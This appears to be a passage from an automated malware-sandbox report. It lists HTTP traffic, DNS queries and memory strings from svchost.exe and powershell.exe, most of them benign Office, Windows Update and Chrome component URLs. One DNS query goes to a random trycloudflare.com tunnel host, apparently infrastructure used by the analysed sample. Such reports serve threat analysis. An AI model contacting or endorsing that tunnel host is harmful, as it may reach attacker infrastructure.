Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=YsRBWO26KCpAR2h&MD=1Ebpe4H8 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com

Source: global traffic	DNS traffic detected: DNS query: spectrum-exactly-knitting-rural.trycloudflare.com
Source: global traffic	DNS traffic detected: DNS query: google.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: svchost.exe, 00000007.00000002.2604678028.000001EB29800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000007.00000002.2605262229.000001EB298F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 00000007.00000002.2604862390.000001EB29861000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2604678028.000001EB29821000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2605056225.000001EB298C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2604243695.000001EB24D02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2008129722.000001EB29A42000.00000004.00000800.00020000.00000000.sdmp, edb.log.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/e6xlmsu5i2bokri3w4cyuhv4nq_2024.8.10.0/go
Source: svchost.exe, 00000007.00000002.2604862390.000001EB2988F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80
Source: svchost.exe, 00000007.00000002.2604862390.000001EB29861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80/edgedl/release2/chrome_component/e6xlmsu5i2bokri3w4cyuhv4nq_2024.8.10.0
Source: edb.log.7.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000006.00000002.1406828064.000002AECE2EA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1424363112.000002AEDC9F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1424363112.000002AEDCB39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1549555003.000001D0F3FF5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1549555003.000001D0F4137000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1487885246.000001D0E5966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000E.00000002.1487885246.000001D0E41B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000006.00000002.1406828064.000002AECC981000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1487885246.000001D0E3F81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000E.00000002.1487885246.000001D0E41B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000006.00000002.1406828064.000002AECC981000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1487885246.000001D0E3F81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000E.00000002.1487885246.000001D0E5966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000E.00000002.1487885246.000001D0E5966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000E.00000002.1487885246.000001D0E5966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: edb.log.7.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000007.00000003.1379671648.000001EB29A40000.00000004.00000800.00020000.00000000.sdmp, edb.log.7.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: powershell.exe, 0000000E.00000002.1487885246.000001D0E41B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000006.00000002.1406828064.000002AECDAFD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1487885246.000001D0E4BB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
